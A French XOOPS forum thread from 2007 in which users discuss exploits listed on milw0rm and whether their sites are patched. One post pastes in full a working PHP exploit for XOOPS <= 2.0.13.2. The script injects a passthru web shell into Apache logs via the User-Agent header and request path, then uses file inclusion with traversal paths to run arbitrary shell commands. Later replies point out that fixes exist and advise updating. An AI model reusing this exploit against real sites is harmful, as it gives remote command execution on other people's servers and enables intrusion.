|
milw0rm.com un site montrant les Failles de Xoops |
|
Semi pro
Inscrit: 06/09/2005 11:47
De Barcelone - Espagne
|
Salut j'ai trouvé un site qui donne des remotes d'injection Mysql dans plusieurs portails, suite à des failles de sécurité découvertes, alors en cherchant Xoops et en regardant ces remotes, on peux bien trouver des Failles, faut juste savoir les corriger . Chercher "xoops" sur milw0rm.comCIA
Posté le : 03/06/2007 23:20
|
|
|
Re: milw0rm.com un site montrant les Failles de Xoops |
|
Guest_
|
Ouf... suis à jour dans les modules (presque... manque Protector3 mais bon c'est en english) Par contre le core... sais pô J'vais p't être passer directement à la 2.0.17 d'Hervé @+
Posté le : 03/06/2007 23:25
|
|
|
Re: milw0rm.com un site montrant les Failles de Xoops |
|
Semi pro
Inscrit: 06/09/2005 11:47
De Barcelone - Espagne
|
y a aussi dans le cat_id de articles ( news mntnt je crois ) et dans le misc.php ....... alors t'as pas le Phone des Forts Xoopsistes ? car ça sent la Mrd ^^ Regardez ça :
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "XOOPS <= 2.0.13.2 'xoopsOption[nocommon]' exploitrn";
echo "by rgod rgod@autistici.orgrn";
echo "site: http://retrogod.altervista.orgrnrn";
/*
works with:
magic_quotes_gpc = Off
register_globals = On
*/
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONSrn";
echo "host: target server (ip/hostname)rn";
echo "path: path to xoopsrn";
echo "cmd: a shell commandrn";
echo "Options:rn";
echo " -p[port]: specify a port other than 80rn";
echo " -P[ip:port]: specify a proxyrn";
echo "Examples:rn";
echo "php ".$argv[0]." localhost /xoops/ rn";
echo "php ".$argv[0]." localhost /xoops/ ls -la -p81rn";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80rn";
die;
}
/* hi, back from my annual social engineering tour, this year in Milan ;)
welcome to this new 0day experience...
explaination:
vulnerable code in mainfile.php at lines 94-96:
...[b]
if (!isset($xoopsOption['nocommon']) && XOOPS_ROOT_PATH != '') {
include XOOPS_ROOT_PATH."/include/common.php";
}
...[/b]
if register_globals = On you can overwrite $xoopsOption['nocommon'] var, to
skip common.php inclusion where $xoopsConfig['language'] and
$xoopsConfig['theme_set] are initialized, so, if magic_quotes_gpc=Off
you can include arbitrary files from local resources, ex., Apache log files:
http://[target]/[path]/misc.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[language]=../../../../../../../../../../var/log/httpd/access_log%00
http://[target]/[path]/index.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]=../../../../../../../../../../var/log/httpd/error_log%00
or, if avatar uploads are enabled:
http://[target]/xoops/html/index.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]=../uploads/cavt44703c30d3dbf.jpg%00
this tool inject some php code in apache log files and try to launch commands
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}
$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "[1] Injecting some code in log files ...rnrn";
$CODE="*delim*<?php error_reporting(0);set_time_limit(0);passthru($_COOKIE[cmd]);die;?>";
$packet="GET ".$p.$CODE." HTTP/1.0rn";
$packet.="User-Agent: ".$CODE." Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: closernrn";
sendpacketii($packet);
sleep(1);
//fill with possible locations...
$paths=array(
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../../../../../../apache/logs/error.log",
"../../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../logs/error.log",
"../../../../../../logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);
$xpl= array (
"misc.php?xoopsOption[nocommon]=1&xoopsConfig[language]=",
"index.php?xoopsOption[nocommon]=1&xoopsConfig[theme_set]="
);
for ($j=0; $j<=count($xpl)-1; $j++)
{
for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;
echo "[".$a."] Trying with: ".$xpl[$j].$paths[$i]."%00rn";
$packet ="GET ".$p.$xpl[$j].$paths[$i]."%00 HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: cmd=".$cmd.";rn";
$packet.="Connection: Closernrn";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"*delim*"))
{
echo "Exploit succeeded...rn";
$temp=explode("*delim*",$html);
die($temp[1]);
}
}
}
//if you are here...
echo "Exploit failed...";
?>
# milw0rm.com [2006-05-21]
:-o édité par blueteen : les balises code sont plus adaptées que les balises quote, pour les portions de code, ça évite de déformer la page
Posté le : 03/06/2007 23:30
|
|
|
Re: milw0rm.com un site montrant les Failles de Xoops |
|
Semi pro
Inscrit: 21/11/2004 17:40
De Un petit coin de Belgique
|
modules/core n'est pas dans la base de xoops 2.0.16, c'est un module en plus, mais je ne sais pas lequel!
Pour xoops c'est /moodules/system
Posté le : 03/06/2007 23:34
|
|
|
Re: milw0rm.com un site montrant les Failles de Xoops |
|
Semi pro
Inscrit: 06/09/2005 11:47
De Barcelone - Espagne
|
ça n'empêche de Se sécuriserTo Be Continued
Posté le : 04/06/2007 00:06
|
|
|
Re: milw0rm.com un site montrant les Failles de Xoops |
|
Xoops accro
Inscrit: 04/02/2003 01:54
De Le Mans
|
Le module core est une ancienne version clonée de wfdownloads dont le correctif a été fourni en avril je crois, elle n'était utilisée que sur xoops.org et peut être quelques autres sites supports.
Posté le : 04/06/2007 02:22
|
|
|
Re: milw0rm.com un site montrant les Failles de Xoops |
|
Semi pro
Inscrit: 06/09/2005 11:47
De Barcelone - Espagne
|
mais quand Burning a parlé du core, c'est juste une goûte dans une mer, alors il faut quand même voir les autres failles, et vérifier s'elles sont bien corrigées.
CIA
Posté le : 04/06/2007 12:40
|
|
|
Re: milw0rm.com un site montrant les Failles de Xoops |
|
Xoops accro
Inscrit: 04/02/2003 01:54
De Le Mans
|
Bon on va remettre les pendules à l'heure ! 1) le module core servait (ou sers encore) comme module de téléchargement des versions sur certains sites support. Comme je l'indique plus haut il a fait l'objet d'une alerte de sécurité qui a été corrigée aussitôt. Cela n'a rien à voir avec le noyau de Xoops. 2)y a aussi dans le cat_id de articles ( news mntnt je crois ) Il ne faut pas confondre ces deux modules qui n'ont pas le même code le module Articles n'a rien à voir avec le module News. La faille relevée dans le module Articles concernait une ancienne version qui avait été mise à jour depuis. 3)misc.php Pas de problèmes pour faire remonter les failles de sécurité, mais il faut être un peu sérieux cette anomalie a été corrigée depuis la version 2.0.12!
Posté le : 04/06/2007 12:50
|
|
|
Re: milw0rm.com un site montrant les Failles de Xoops |
|
Semi pro
Inscrit: 06/09/2005 11:47
De Barcelone - Espagne
|
Merci Christian , mais j'éspère que t'as vu les remotes dans ce site, car articles/misc/core...ce ne sont que des exemple, j'allais pas tout coller ici quand même. il y'en a bien d'autres que je te laisserai découvrir dans les remotes, je veux pas faire de vague avec ce sujet, ni ne pas être sérieux, par contre, j'ai de but évolutionnaire, alors je poste sans "cache" j'éspère que je mesuis bien fait comprendre. CIA
Posté le : 04/06/2007 13:06
|
|
|
Re: milw0rm.com un site montrant les Failles de Xoops |
|
Xoops accro
Inscrit: 15/07/2004 11:16
|
c'est bien d'avoir donné ce lien, pour ceux qui voudraient voir si leurs versions en cours ont des failles.
mais il y a trois cas de figures :
-soit vous utilisez une vieille version, qui a des failles, et vous mettez simplement à jour. (si le module est suivi et qu'une mise à jour est disponible).
-soit vous utilisez une vielle version (alors qu'une récente existe), qui n'a pas de failles connues, et vous continuez à prendre le risque d'utiliser cette version.
-soit vous utilisez la dernière version, et elle a une faille recensée sur le site que tu indiques (qui n'est qu'un seul des nombreux sites traitant de sécurité dans les scripts), et à ce moment-là vous avertissez l'auteur du module en donnant les détails (ou au pire ici sur le forum).
Posté le : 04/06/2007 14:01
|
|
Vous pouvez voir les sujets.
Vous ne pouvez pas débuter de nouveaux sujets.
Vous ne pouvez pas répondre aux contributions.
Vous ne pouvez pas éditer vos contributions.
Vous ne pouvez pas effacez vos contributions.
Vous ne pouvez pas ajouter de nouveaux sondages.
Vous ne pouvez pas voter en sondage.
Vous ne pouvez pas attacher des fichiers à vos contributions.
Vous ne pouvez pas poster sans approbation.
|